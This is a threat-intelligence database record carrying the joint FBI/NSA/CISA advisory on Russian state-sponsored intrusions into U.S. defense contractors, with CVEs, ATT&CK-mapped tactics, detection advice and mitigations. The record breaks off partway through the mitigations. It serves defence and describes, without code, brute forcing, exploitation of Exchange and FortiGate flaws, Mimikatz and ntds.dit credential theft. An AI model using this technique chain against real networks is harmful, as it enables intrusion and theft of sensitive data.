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{"id": "HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8", "vendorId": null, "type": "hivepro", "bulletinFamily": "info", "title": "Russian state-sponsored cyber actors targeting U.S. critical infrastructure", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here In a joint cybersecurity advisory, the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA) revealed that Russian state-sponsored threat actors targeted U.S. defense contractors from January 2020 to February 2022. The threat actors exfiltrated sensitive data from small and large companies in the U.S. working on defense and intelligence contracts, including missile development, vehicle & aircraft and software development. Threat actors gain initial access by using brute force to identify valid account credentials for domain and M365 accounts. Using compromised M365 credentials, including global admin accounts, the threat actors can gain access to M365 resources such as SharePoint pages user-profiles and user emails. They further used harvested credentials in conjunction with known vulnerabilities CVE-2020-0688 & CVE-2020-17144 in the Microsoft exchange server to escalate privileges and gain remote code execution (RCE) on the exposed applications. In addition, they have exploited CVE-2018-13379 on FortiClient to obtain credentials to access networks. After gaining access to networks, the threat actors map the Active Directory (AD) and connect to domain controllers, from which they exfiltrated credentials and export copies of the AD database "ntds.dit". In multiple breaches, they maintained persistence for at least 6 months in the network continuously exfiltrating sensitive emails and data. Organizations can mitigate the risk by following the recommendations: \u2022Monitor the use of stolen credentials. \u2022Keep all operating systems and software up to date. \u2022Enable multifactor authentication (MFA) for all users, without exception. \u2022 The Techniques commonly used by Russian cyber actor, APT28 are: TA0043: Reconnaissance TA0001: Initial Access TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0009: Collection TA0003: Persistence TA0008: Lateral Movement TA0011: Command and Control T1027: Obfuscated Files or Information T1133: External Remote Services T1190: Exploit Public-Facing Application T1083: File and Directory Discovery T1482: Domain Trust Discovery T1213.002: Data from Information Repositories: SharePoint T1090.003: Proxy: Multi-hop Proxy T1589.001: Gather Victim Identity Information: Credentials T1003.003: OS Credential Dumping: NTDS T1110.003: Brute Force: Password Spraying T1566.002: Phishing: Spearphishing Link T1078.002: Valid Accounts: Domain Accounts T1078.004: Valid Accounts: Cloud Accounts Actor Details Vulnerability Details References https://www.cisa.gov/uscert/ncas/alerts/aa22-047a", "published": "2022-02-18T12:20:35", "modified": "2022-02-18T12:20:35", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://www.hivepro.com/russian-state-sponsored-cyber-actors-targeting-u-s-critical-infrastructure/", "reporter": "Hive Pro", "references": [], "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "immutableFields": [], "lastseen": "2022-02-18T13:30:09", "viewCount": 412, "enchantments": {"backreferences": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:35B88369-C440-49C0-98FF-C50E258FB32C", "AKB:3B7AE30E-7135-4027-A5DA-A88A045903F6", "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:B54A15A1-8D06-4902-83F9-DC10E40FA81A", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B"]}, {"type": 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{"ics": [{"lastseen": "2023-03-14T18:28:23", "description": "### Summary\n\n_Actions to Help Protect Against Russian State-Sponsored Malicious Cyber Activity:_ \n\u2022 Enforce multifactor authentication. \n\u2022 Enforce strong, unique passwords. \n\u2022 Enable M365** **Unified Audit Logs. \n\u2022 Implement** **endpoint detection and response tools.\n\nFrom at least January 2020, through February 2022, the Federal Bureau of Investigation (FBI), National Security Agency (NSA), and Cybersecurity and Infrastructure Security Agency (CISA) have observed regular targeting of U.S. cleared defense contractors (CDCs) by Russian state-sponsored cyber actors. The actors have targeted both large and small CDCs and subcontractors with varying levels of cybersecurity protocols and resources. These CDCs support contracts for the U.S. Department of Defense (DoD) and Intelligence Community in the following areas:\n\n * Command, control, communications, and combat systems;\n * Intelligence, surveillance, reconnaissance, and targeting;\n * Weapons and missile development;\n * Vehicle and aircraft design; and\n * Software development, data analytics, computers, and logistics. \n\nHistorically, Russian state-sponsored cyber actors have used common but effective tactics to gain access to target networks, including spearphishing, credential harvesting, brute force/password spray techniques, and known vulnerability exploitation against accounts and networks with weak security. These actors take advantage of simple passwords, unpatched systems, and unsuspecting employees to gain initial access before moving laterally through the network to establish persistence and exfiltrate data. \n\nIn many attempted compromises, these actors have employed similar tactics to gain access to enterprise and cloud networks, prioritizing their efforts against the widely used Microsoft 365 (M365) environment. The actors often maintain persistence by using legitimate credentials and a variety of malware when exfiltrating emails and data.\n\nThese continued intrusions have enabled the actors to acquire sensitive, unclassified information, as well as CDC-proprietary and export-controlled technology. The acquired information provides significant insight into U.S. weapons platforms development and deployment timelines, vehicle specifications, and plans for communications infrastructure and information technology. By acquiring proprietary internal documents and email communications, adversaries may be able to adjust their own military plans and priorities, hasten technological development efforts, inform foreign policymakers of U.S. intentions, and target potential sources for recruitment. Given the sensitivity of information widely available on unclassified CDC networks, the FBI, NSA, and CISA anticipate that Russian state-sponsored cyber actors will continue to target CDCs for U.S. defense information in the near future. These agencies encourage all CDCs to apply the recommended mitigations in this advisory, regardless of evidence of compromise.\n\nFor additional information on Russian state-sponsored cyber activity, see CISA's webpage, [Russia Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/russia>).\n\nClick here for a PDF version of this report.\n\n### Threat Details\n\n#### **Targeted Industries and Assessed Motive**\n\nRussian state-sponsored cyber actors have targeted U.S. CDCs from at least January 2020, through February 2022. The actors leverage access to CDC networks to obtain sensitive data about U.S. defense and intelligence programs and capabilities. Compromised entities have included CDCs supporting the U.S. Army, U.S. Air Force, U.S. Navy, U.S. Space Force, and DoD and Intelligence programs.\n\nDuring this two-year period, these actors have maintained persistent access to multiple CDC networks, in some cases for at least six months. In instances when the actors have successfully obtained access, the FBI, NSA, and CISA have noted regular and recurring exfiltration of emails and data. For example, during a compromise in 2021, threat actors exfiltrated hundreds of documents related to the company\u2019s products, relationships with other countries, and internal personnel and legal matters.\n\nThrough these intrusions, the threat actors have acquired unclassified CDC-proprietary and export-controlled information. This theft has granted the actors significant insight into U.S. weapons platforms development and deployment timelines, plans for communications infrastructure, and specific technologies employed by the U.S. government and military. Although many contract awards and descriptions are publicly accessible, program developments and internal company communications remain sensitive. Unclassified emails among employees or with government customers often contain proprietary details about technological and scientific research, in addition to program updates and funding statuses. See figures 1 and 2 for information on targeted customers, industries, and information.\n\n\n\n_Figure 1. Targeted Industries_\n\n\n\n_Figure 2. Exfiltrated Information_\n\n#### \n\n#### **Threat Actor Activity**\n\n_**Note:** This advisory uses the MITRE ATT&amp;CK\u00ae for Enterprise framework, version 10. See the [ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v10/techniques/enterprise/>) for all referenced threat actor tactics and techniques. See the Tactics, Techniques, and Procedures (TTPs) section for a table of the threat actors\u2019 activity mapped to MITRE ATT&amp;CK tactics and techniques._\n\n##### _**Initial Access **_\n\nRussian state-sponsored cyber actors use brute force methods, spearphishing, harvested credentials, and known vulnerabilities to gain initial access to CDC networks.\n\n * Threat actors use brute force techniques [[T1110](<https://attack.mitre.org/versions/v10/techniques/T1110>)] to identify valid account credentials [[T1589.001](<https://attack.mitre.org/versions/v10/techniques/T1589/001/>)] for domain and M365 accounts. After obtaining domain credentials, the actors use them to gain initial access to the networks. _**Note:** For more information, see joint NSA-FBI-CISA Cybersecurity Advisory: [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)._\n * Threat actors send spearphishing emails with links to malicious domains [[T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>)] and use publicly available URL shortening services to mask the link [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)]. Embedding shortened URLs instead of actor-controlled malicious domains is an obfuscation technique meant to bypass virus and spam scanning tools. The technique often promotes a false legitimacy to the email recipient, increasing the probability of a victim\u2019s clicking on the link. \n * The threat actors use harvested credentials in conjunction with known vulnerabilities\u2014for example, CVE-2020-0688 and CVE-2020-17144\u2014on public-facing applications [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>), [T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)], such as virtual private networks (VPNs), to escalate privileges and gain remote code execution (RCE) on the exposed applications.[[1](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)] In addition, threat actors have exploited CVE-2018-13379 on FortiClient to obtain credentials to access networks. \n * As CDCs find and patch known vulnerabilities on their networks, the actors alter their tradecraft to seek new means of access. This activity necessitates CDCs maintain constant vigilance for software vulnerabilities and out-of-date security configurations, especially in internet-facing systems.\n\n##### _**Credential Access** _\n\nAfter gaining access to networks, the threat actors map the Active Directory (AD) and connect to domain controllers, from which they exfiltrate credentials and export copies of the AD database `ntds.dit` [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]. In multiple instances, the threat actors have used Mimikatz to dump admin credentials from the domain controllers. \n\n##### _**Collection**_\n\nUsing compromised M365 credentials, including global admin accounts, the threat actors can gain access to M365 resources, including SharePoint pages [[T1213.002](<https://attack.mitre.org/versions/v10/techniques/T1213/002/>)], user profiles, and user emails [[T1114.002](<https://attack.mitre.org/versions/v10/techniques/T1114/002/>)].\n\n##### _**Command and Control**_\n\nThe threat actors routinely use virtual private servers (VPSs) as an encrypted proxy. The actors use VPSs, as well as small office and home office (SOHO) devices, as operational nodes to evade detection [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)].\n\n##### _**Persistence**_\n\nIn multiple instances, the threat actors maintained persistent access for at least six months. Although the actors have used a variety of malware to maintain persistence, the FBI, NSA, and CISA have also observed intrusions that did not rely on malware or other persistence mechanisms. In these cases, it is likely the threat actors relied on possession of legitimate credentials for persistence [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)], enabling them to pivot to other accounts, as needed, to maintain access to the compromised environments.\n\n#### **Tactics, Techniques, and Procedures**\n\nThe following table maps observed Russian state-sponsored cyber activity to the MITRE ATT&amp;CK for Enterprise framework. Several of the techniques listed in the table are based on observed procedures in contextual order. Therefore, some of the tactics and techniques listed in their respective columns appear more than once. See Appendix A for a functional breakdown of TTPs. _**Note:** for specific countermeasures related to each ATT&amp;CK technique, see the [Enterprise Mitigations](<https://attack.mitre.org/mitigations/>) section and [MITRE D3FEND](<https://d3fend.mitre.org/>)_\u2122. \n\n\n_Table 1: Observed Tactics, Techniques, and Procedures (TTPs)_\n\nTactic | Technique | Procedure \n---|---|--- \n \n**Reconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]**\n\n**Credential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006/>)]**\n\n| \n\nGather Victim Identity Information: Credentials [[T1589.001](<https://attack.mitre.org/versions/v10/techniques/T1589/001/>)] \n\nBrute Force [[T1110](<https://attack.mitre.org/versions/v10/techniques/T1110/003/>)]\n\n| Threat actors used brute force to identify valid account credentials for domain and M365 accounts. After obtaining domain credentials, the actors used them to gain initial access. \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]** | External Remote Services [[T1133](<https://attack.mitre.org/versions/v10/techniques/T1133>)] | Threat actors continue to research vulnerabilities in Fortinet\u2019s FortiGate VPN devices, conducting brute force attacks and leveraging CVE-2018-13379 to gain credentials to access victim networks. [[2](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>)] \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]**\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\nExploit Public-Facing Application [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| Threat actors used credentials in conjunction with known vulnerabilities on public-facing applications, such as virtual private networks (VPNs)\u2014CVE-2020-0688 and CVE-2020-17144\u2014to escalate privileges and gain remote code execution (RCE) on the exposed applications. [[3](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)] \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Defense Evasion [[TA0005](<https://attack.mitre.org/versions/v10/tactics/TA0005>)]**\n\n| \n\nPhishing: Spearphishing Link [[T1566.002](<https://attack.mitre.org/versions/v10/techniques/T1566/002>)]\n\nObfuscated Files or Information [[T1027](<https://attack.mitre.org/versions/v10/techniques/T1027>)]\n\n| Threat actors sent spearphishing emails using publicly available URL shortening services. Embedding shortened URLs instead of the actor-controlled malicious domain is an obfuscation technique meant to bypass virus and spam scanning tools. The technique often promotes a false legitimacy to the email recipient and thereby increases the possibility that a victim clicks on the link. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Credential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006/>)]**\n\n| \n\nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\nValid Accounts: Domain Accounts [[T1078.002](<https://attack.mitre.org/versions/v10/techniques/T1078/002/>)]\n\n| Threat actors logged into a victim\u2019s VPN server and connected to the domain controllers, from which they exfiltrated credentials and exported copies of the AD database `ntds.dit`. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Privilege Escalation [[TA0004](<https://attack.mitre.org/versions/v10/tactics/TA0004>)]**\n\n**Collection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009/>)]**\n\n| \n\nValid Accounts: Cloud Accounts [[T1078.004](<https://attack.mitre.org/versions/v10/techniques/T1078/004/>)]\n\nData from Information Repositories: SharePoint [[T1213.002](<https://attack.mitre.org/versions/v9/techniques/T1213/002/>)]\n\n| In one case, the actors used valid credentials of a global admin account within the M365 tenant to log into the administrative portal and change permissions of an existing enterprise application to give read access to all SharePoint pages in the environment, as well as tenant user profiles and email inboxes. \n \n**Initial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]**\n\n**Collection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009/>)]**\n\n| \n\nValid Accounts: Domain Accounts [[T1078.002](<https://attack.mitre.org/versions/v10/techniques/T1078/002/>)]\n\nEmail Collection [[T1114](<https://attack.mitre.org/versions/v10/techniques/T1114>)]\n\n| In one case, the threat actors used legitimate credentials to exfiltrate emails from the victim's enterprise email system. \n \n**Persistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003/>)]**\n\n**Lateral Movement [[TA0008](<https://attack.mitre.org/versions/v10/tactics/TA0008>)]**\n\n| Valid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)] | Threat actors used valid accounts for persistence. After some victims reset passwords for individually compromised accounts, the actors pivoted to other accounts, as needed, to maintain access. \n**Discovery [[TA0007](<https://attack.mitre.org/tactics/TA0007>)]** | File and Network Discovery [[T1083](<https://attack.mitre.org/versions/v10/techniques/T1083>)] | After gaining access to networks, the threat actors used BloodHound to map the Active Directory. \n**Discovery [[TA0007](<https://attack.mitre.org/versions/v10/tactics/TA0007>)]** | Domain Trust Discovery [[T1482](<https://attack.mitre.org/versions/v10/techniques/T1482/>)] | Threat actors gathered information on domain trust relationships that were used to identify lateral movement opportunities. \n**Command and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]** | Proxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)] | Threat actors used multiple disparate nodes, such as VPSs, to route traffic to the target. \n \n### \n\n### Detection\n\nThe FBI, NSA, and CISA urge all CDCs to investigate suspicious activity in their enterprise and cloud environments. _**Note:** for additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom._\n\n#### **Detect Unusual Activity**\n\n**Implement robust log collection and retention.** Robust logging is critical for detecting unusual activity. Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, tools and solutions include:\n\n * Cloud native solutions, such as cloud-native security incident and event management (SIEM) tools.\n * Third-party tools, such as Sparrow, to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. _**Note:** for guidance on using these and other detection tools, refer to CISA Cybersecurity Advisory [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)._\n\n#### **Look for Evidence of Known TTPs**\n\n * **Look for behavioral evidence or network and host-based artifacts** from known TTPs associated with this activity. To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for frequent, failed authentication attempts across multiple accounts. \n * To detect use of compromised credentials in combination with a VPS, follow the steps below: \n * **Review logs for suspicious \u201cimpossible logins,\u201d** such as logins with changing usernames, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * **Look for one IP used for multiple accounts,** excluding expected logins.\n * **Search for \u201cimpossible travel,\u201d **which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). _**Note:** this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks._\n * **Evaluate processes and program execution command-line arguments** that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Identify suspicious privileged account use after resetting passwords or applying user account mitigations. \n * **Review logs for unusual activity** in typically dormant accounts.\n * **Look for unusual user agent strings,** such as strings not typically associated with normal user activity, which may indicate bot activity.\n\n### Incident Response and Remediation\n\nOrganizations with evidence of compromise should assume full identity compromise and initiate a full identity reset.\n\n * **Reset passwords for all local accounts. **These accounts should include Guest, HelpAssistant, DefaultAccount, System, Administrator, and krbtgt. It is essential to reset the password for the krbtgt account, as this account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. _**Note:** reset the krbtgt account twice and consecutively with a 10-hour waiting period between resets (i.e., perform the first krbtgt password reset, wait 10 hours, and then follow with a second krbtgt password reset). The krbtgt password resets may take a long time to propagate fully on large AD environments. Refer to Microsoft\u2019s [AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>) guidance and automation script for additional information. [[4](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)][[5](<https://github.com/microsoft/New-KrbtgtKeys.ps1>)]_\n * **Reset all domain user, admin, and service account passwords. **\n\n_**Note:** for guidance on evicting advanced persistent threat (APT) actors from cloud and enterprise environments, refer to CISA Analysis Report [Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/Microsoft 365 (M365) Compromise](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a>). Although this guidance was drafted for federal agencies compromised by the Russian Foreign Intelligence Service (SVR) via the [SolarWinds Orion supply chain compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>), the steps provided in the Eviction Phase are applicable for all organizations crafting eviction plans for suspected APT actors._\n\n### Mitigations\n\nThe FBI, NSA, and CISA encourage all CDCs, with or without evidence of compromise, to apply the following mitigations to reduce the risk of compromise by this threat actor. While these mitigations are not intended to be all-encompassing, they address common TTPs observed in these intrusions and will help to mitigate against common malicious activity. \n\n#### **Implement Credential Hardening**\n\n##### **_Enable Multifactor Authentication_**\n\n * **Enable multifactor authentication (MFA)** for all users, without exception. Subsequent authentication may not require MFA, enabling the possibility to bypass MFA by reusing single factor authentication assertions (e.g., Kerberos authentication). Reducing the lifetime of assertions will cause account re-validation of their MFA requirements.[[6](<https://media.defense.gov/2019/Sep/09/2002180330/-1/-1/0/Defend Privileges and Accounts - Copy.pdf>)] Service accounts should not use MFA. Automation and platform features (e.g., Group Managed Service Accounts, gMSA) can provide automatic and periodic complex password management for service accounts, reducing the threat surface against single factor authentication assertions.[[7](<https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview>)] \n\n##### **_Enforce Strong, Unique Passwords_**\n\n * **Require accounts to have strong, unique passwords.** Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.\n * **Enable password management functions**, such as Local Administrator Password Solution (LAPS), for local administrative accounts. This will reduce the burden of users managing passwords and encourage them to have strong passwords.\n\n##### **_Introduce Account Lockout and Time-Based Access Features_**\n\n * **Implement time-out and lock-out features** in response to repeated failed login attempts.\n * **Configure time-based access for accounts set at the admin level and higher. **For example, the Just-In-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need. When the account is needed, individual users submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion.\n\n##### **_Reduce Credential Exposure_**\n\n * **Use virtualization solutions on modern hardware and software** to ensure credentials are securely stored, and protect credentials via capabilities, such as Windows Defender Credential Guard (CredGuard) and Trusted Platform Module (TPM).[[8](<https://media.defense.gov/2019/Sep/09/2002180345/-1/-1/0/Leverage Modern Hardware Security Features - Copy.pdf>)] Protecting domain credentials with CredGuard requires configuration and has limitations in protecting other types of credentials (e.g., WDigest and local accounts).[[9](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard>)][[10](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-protection-limits>)] CredGuard uses TPMs to protect stored credentials. TPMs function as a system integrity observer and trust anchor ensuring the integrity of the boot sequence and mechanisms (e.g., UEFI Secure Boot). Installation of Windows 11 requires TPM v2.0.[[11](<https://docs.microsoft.com/en-us/windows/whats-new/windows-11-requirements>)] Disabling WDigest and rolling expiring NTLM secrets in smartcards will further protect other credentials not protected by CredGuard.[[12](<https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/the-importnace-of-kb2871997-and-kb2928120-for-credential/ba-p/258478>)][[13](<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/whats-new-in-credential-protection>)]\n\n#### **Establish Centralized Log Management**\n\n * **Create a centralized log management system. **Centralized logging applications allow network defenders to look for anomalous activity, such as out-of-place communications between devices or unaccountable login failures, in the network environment. \n * Forward all logs to a SIEM tool.\n * Ensure logs are searchable.\n * Retain critical and historic network activity logs for a minimum of 180 days. \n * **If using M365, enable Unified Audit Log (UAL)**\u2014M365\u2019s logging capability\u2014which contains events from Exchange Online, SharePoint online, OneDrive, Azure AD, Microsoft Teams, PowerBI, and other M365 services. \n * **Correlate logs, including M365 logs, from network and host security devices. **This correlation will help with detecting anomalous activity in the network environment and connecting it with potential anomalous activity in M365. \n\nIn addition to setting up centralized logging, organizations should:\n\n * **Ensure PowerShell logging is turned on. **Threat actors often use PowerShell to hide their malicious activities.[14] \n * **Update PowerShell instances to version 5.0 or later **and uninstall all earlier versions of PowerShell. Logs from prior versions are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities. \n * **Confirm PowerShell 5.0 instances have module, script block, and transcription logging** enabled.\n * **Monitor remote access/Remote Desktop Protocol (RDP) logs** and disable unused remote access/RDP ports.\n\n#### **Initiate a Software and Patch Management Program **\n\n * **Consider using a centralized patch management system.** Failure to deploy software patches in a timely manner makes an organization a target of opportunity, increasing its risk of compromise. Organizations can ensure timely patching of software vulnerabilities by implementing an enterprise-wide software and patch management program.[[15](<https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update and Upgrade Software Immediately.docx - Copy.pdf>)] \n * If an organization is unable to update all software shortly after a patch is released, **prioritize patches for CVEs that are already known **to be exploited or that would be accessible to the largest number of potential adversaries (such as internet-facing systems). \n * **Subscribe to [CISA cybersecurity notifications and advisories](<https://us-cert.cisa.gov/ncas>)** to keep up with known exploited vulnerabilities, security updates, and threats. This will assist organizations in maintaining situational awareness of critical software vulnerabilities and, if applicable, associated exploitation. \n * **Sign up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>)**, including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IPs for accessible services and vulnerabilities.\n\n#### **Employ Antivirus Programs **\n\n * **Ensure that antivirus applications are installed on all organizations\u2019 computers** and are configured to prevent spyware, adware, and malware as part of the operating system security baseline. \n * **Keep virus definitions up to date.**\n * **Regularly monitor antivirus scans.**\n\n#### **Use Endpoint Detection and Response Tools **\n\n * **Utilize endpoint detection and response (EDR) tools.** These tools allow a high degree of visibility into the security status of endpoints and can be an effective defense against threat actors. EDR tools are particularly useful for detecting lateral movement, as they have insight into common and uncommon network connections for each host. \n\n#### **Maintain Rigorous Configuration Management Programs **\n\n * **Audit configuration management programs **to ensure they can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses. Having a robust configuration program hinders sophisticated threat operations by limiting the effectiveness of opportunistic attacks.[[16](<https://media.defense.gov/2019/Sep/09/2002180326/-1/-1/0/Actively Manage Systems and Configurations.docx - Copy.pdf>)] \n\n#### **Enforce the Principle of Least Privilege**\n\n * **Apply the principle of least privilege. **Administrator accounts should have the minimum permissions they need to do their tasks. This can reduce the impact if an administrator account is compromised. \n * **For M365, assign administrator roles to role-based access control (RBAC)** to implement the principle of least privilege. Given its high level of default privilege, you should only use the Global Administrator account when absolutely necessary. Using Azure AD\u2019s numerous other built-in administrator roles instead of the Global Administrator account can limit assigning unnecessary privileges. _**Note:** refer to the Microsoft documentation, [Azure AD built-in roles](<https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles>), for more information about Azure AD. _\n * **Remove privileges not expressly required by an account\u2019s function or role. **\n * **Ensure there are unique and distinct administrative accounts** for each set of administrative tasks. \n * **Create non-privileged accounts for privileged users, **and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n * **Reduce the number of domain and enterprise administrator accounts, **and remove all accounts that are unnecessary.\n * **Regularly audit administrative user accounts.**\n * **Regularly audit logs to ensure new accounts are legitimate users.**\n * **Institute a group policy that disables remote interactive logins,** and use Domain Protected Users Group.\n\nTo assist with identifying suspicious behavior with administrative accounts:\n\n * **Create privileged role tracking.**\n * **Create a change control process** for all privilege escalations and role changes on user accounts.\n * **Enable alerts on privilege escalations and role changes.**\n * **Log privileged user changes** in the network environment, and create an alert for unusual events.\n\n#### **Review Trust Relationships**\n\n * **Review existing trust relationships with IT service providers,** such as managed service providers (MSPs) and cloud service providers (CSPs). Threat actors are known to exploit trust relationships between providers and their customers to gain access to customer networks and data. \n * **Remove unnecessary trust relationships. **\n * **Review contractual relationships **with all service providers, and ensure contracts include: \n * Security controls the customer deems appropriate. \n * Appropriate monitoring and logging of provider-managed customer systems.\n * Appropriate monitoring of the service provider\u2019s presence, activities, and connections to the customer network.\n * Notification of confirmed or suspected security events and incidents occurring on the provider\u2019s infrastructure and administrative networks.\n\n_**Note: **review CISA\u2019s page on [APTs Targeting IT Service Provider Customers](<https://www.cisa.gov/uscert/APTs-Targeting-IT-Service-Provider-Customers>) and [CISA Insights: Mitigations and Hardening Guidance for MSPs and Small and Mid-sized Businesses](<https://cisa.gov/sites/default/files/publications/CISA%20Insights_Guidance-for-MSPs-and-Small-and-Mid-sized-Businesses_S508C.pdf>) for additional recommendations for MSP and CSP customers._\n\n#### **Encourage Remote Work Environment Best Practices**\n\nWith the increase in remote work and use of VPN services due to COVID-19, the FBI, NSA, and CISA encourage regularly monitoring remote network traffic, along with employing the following best practices._ **Note:** for additional information, see joint NSA-CISA Cybersecurity Information Sheet: [Selecting and Hardening Remote Access VPN Solutions](<https://media.defense.gov/2021/Sep/28/2002863184/-1/-1/0/CSI_SELECTING-HARDENING-REMOTE-ACCESS-VPNS-20210928.PDF>)._\n\n * **Regularly update VPNs, network infrastructure devices, and devices used for remote work environments **with the latest software patches and security configurations.\n * **When possible, require MFA on all VPN connections. **Physical security tokens are the most secure form of MFA, followed by authenticator applications. When MFA is unavailable, mandate that employees engaging in remote work use strong passwords.\n * **Monitor network traffic for unapproved and unexpected protocols.**\n * **Reduce potential attack surfaces by discontinuing unused VPN servers** that may be used as a point of entry by 